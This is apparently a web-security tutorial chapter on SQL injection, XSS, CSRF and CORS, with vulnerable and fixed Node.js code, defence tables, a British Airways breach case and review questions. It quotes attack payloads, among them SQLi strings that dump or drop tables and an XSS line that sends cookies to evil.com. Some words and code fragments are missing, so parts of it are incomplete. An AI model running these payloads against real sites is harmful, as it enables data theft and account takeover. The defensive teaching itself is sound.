Warming up the neural circuits...
By the end of this chapter you will:
CSRF, CORS, XSS, and SQLi are the "Big Four" of web security. They've been in the OWASP Top 10 for 20+ years. They still ship in production code every single day — not because they're hard to fix, but because developers don't learn the defenses deeply enough to make them automatic. This chapter makes them automatic.
SQL injection happens when user is concatenated into SQL queries. The fix is parameterized queries — always.
// ❌ VULNERABLE: string concatenation
app.get('/users', async (req, res) => {
const { search } = req.query;
// Attacker input: ' OR '1'='1' --
const result = await db.query(`SELECT * FROM users WHERE name = '${search}'`);
// Query becomes: SELECT * FROM users WHERE name = '' OR '1'='1' --'
// Returns ALL users. Attacker just dumped your entire user table.
});
// ✅ SAFE: parameterized query
app.get('/users', async (req, res) => {
const { search } = req.query;
const result = await db.query('SELECT * FROM users WHERE name = $1', [search]);
// Input is treated as a literal string value, not SQL code.
});Real attack examples:
' OR '1'='1' -- — bypass WHERE clause, return all rows'; DROP TABLE users; -- — destructive (requires multi-statement support, rare in modern drivers)' UNION SELECT email, password FROM admin_users -- — extract data from other tables1; WAITFOR DELAY '00:00:05' -- — time-based blind SQLi (extracts data one character at a time by timing responses)Defense checklist:
$1/? placeholders)$queryRaw with string interpolation is still SQLi.XSS happens when user input is rendered as without escaping. Three types:
| Type | Attack vector | Example |
|---|---|---|
| Stored XSS | Attacker's input saved to DB, served to all users | Comment field: <script>stealCookies()</script> |
| Reflected XSS | Attacker's input reflected immediately in the response | Search query in URL parameters echoed on page |
| XSS | Client-side JS reads attacker-controlled data and inserts into DOM unsafely | element.innerHTML = location.hash.slice(1) |
// ❌ VULNERABLE: raw HTML insertion
res.send(`<h1>Search results for: ${req.query.q}</h1>`);
// Attacker sends: ?q=<script>fetch('https://evil.com?c='+document.cookie)</script>
// Every visitor's cookies get sent to evil.com
// ✅ SAFE: escape output
// In server-rendered apps, use a templating engine that escapes by default:
res
Defense:
Content-Security-Policy: default-src 'self'; script-src 'self' — blocks inline scriptsdocument.cookie returns nothing for sensitive cookiessanitize-html (Node.js) for rich-text inputCSRF tricks a logged-in user's browser into making requests to your without their knowledge.
1. Alice is logged into bank.com (session cookie set)
2. Alice visits evil.com (or clicks a phishing link)
3. evil.com has: <img src="https://bank.com/transfer?to=attacker&amount=10000" />
4. Alice's browser sends the request to bank.com — WITH her session cookie
5. bank.com sees a valid session → processes the transferDefense (choose one):
| Method | How | Best for |
|---|---|---|
| SameSite cookies | Set-Cookie: session=...; SameSite=Lax — cookie not sent on cross-site POSTs | Modern browsers. Simplest defense. |
| CSRF tokens | Server generates random token → embedded in as hidden field → validated on submit | Traditional web apps with forms |
| Custom header | Require X-Requested-With: XMLHttpRequest or Authorization: Bearer ... | SPAs and APIs (browsers can't set custom headers cross-origin) |
| Origin/Referer | Check Origin header matches your domain | API endpoints |
SameSite cookies don't send on cross-site POSTs. Bearer tokens (Authorization header) can't be set by HTML forms — they require JavaScript. Either one makes CSRF structurally impossible for your API. CSRF tokens are only needed if you use traditional cookie-based forms without SameSite.
CORS is NOT a security mechanism. It's a relaxation of the browser's same-origin policy. Configuring CORS incorrectly opens your API to cross-origin attacks.
// ❌ DANGEROUS: allows any origin, with credentials
app.use(cors({
origin: true, // Reflects any Origin header (including attacker's)
credentials: true, // Allows cookies to be sent cross-origin
}));
// This effectively disables the same-origin policy.
// ✅ SAFE: whitelist specific origins
const
CORS rules:
origin: '*' with credentials: true — browsers will reject it (and if they don't, it's catastrophic)Origin header blindly (origin: true)Access-Control-Allow-Methods to only the methods your API usesAccess-Control-Max-Age to preflight responses (reduces OPTIONS requests)Attackers injected 22 lines of JavaScript into British Airways' payment page via a compromised third-party script. The script captured credit card data from the payment form and sent it to baways.com (a lookalike domain). 380,000 customers' data was stolen. BA was fined £183 million (later reduced to £20 million).
What would have prevented it:
script-src would have blocked the injected script (it came from an unapproved domain)| Mistake | Why it's wrong | What to do instead |
|---|---|---|
| String interpolation in SQL | SQL injection — attacker can execute arbitrary SQL | Parameterized queries. Always. |
dangerouslySetInnerHTML with user input | XSS — attacker can inject scripts | Use DOMPurify to sanitize before rendering |
cors({ origin: '*' }) with credentials | Allows any website to make authenticated requests as your users | Whitelist specific origins |
| No CSP header | XSS exploits have no last line of defense | Add Content-Security-Policy header. Start with default-src 'self' and loosen as needed. |
Trusting Referer/Origin for security-critical decisions | Headers can be spoofed (by non-browser clients) or missing | Use as defense-in-depth, not as primary security |
| Session cookies without SameSite | CSRF attacks can use the session silently | SameSite=Lax minimum. Strict for banking. |
Content-Security-Policy-Report-Only, collect violation reports for a week, fix false positives, then enforce.sqlstring. Log blocked requests for monitoring.What is SQL injection and how do you prevent it? User input interpreted as SQL code. Prevent with parameterized queries — never concatenate user input into SQL strings.
What is XSS and what are the three types? Cross-Site Scripting — injecting malicious scripts into web pages. Stored (saved to DB, served to all users), Reflected (immediately echoed in response), DOM-based (client-side JavaScript manipulates DOM unsafely).
What does CORS do? Allows browsers to make cross-origin requests that the same-origin policy would normally block. It's a relaxation mechanism, not a security mechanism.
Explain how CSRF works and name three defenses. An attacker tricks a user's browser into making an unwanted request to a site where the user is authenticated. Defenses: SameSite cookies (cookie not sent cross-site), CSRF tokens (server validates a token embedded in the request), custom headers (browsers can't set Authorization or custom headers cross-origin without a preflight that the attacker can't control).
Why shouldn't you rely solely on CORS for API security? CORS is enforced by the browser, not the server. A non-browser client (curl, Postman, a script) can make any request to your API regardless of CORS settings. CORS is a browser restriction, not a server-side security control. Always authenticate and authorize API requests.
What is Content Security Policy and how does it mitigate XSS? CSP is an HTTP header that tells the browser which sources of scripts, styles, images, etc. are allowed. script-src 'self' means only scripts from your own domain can execute — injected inline scripts (<script>alert(1)</script>) are blocked. CSP makes XSS exploitation significantly harder, even if an injection point exists.
SQL injection: parameterized queries. Always. XSS: output encoding + CSP + HttpOnly cookies. CSRF: SameSite cookies or CSRF tokens or Bearer tokens (pick one, be consistent). CORS: whitelist origins, never origin: '*' with credentials. These four vulnerabilities have existed for 20+ years because they require constant vigilance. Make the defenses automatic — linters, WAFs, CSP headers, parameterized query requirements in code review.
* with credentials. Not a server-side security control.cors({ origin: '*' }) with credentials: true? Allows any website to make authenticated requests as your users. Browsers will reject this combination, but misconfigured proxies might not.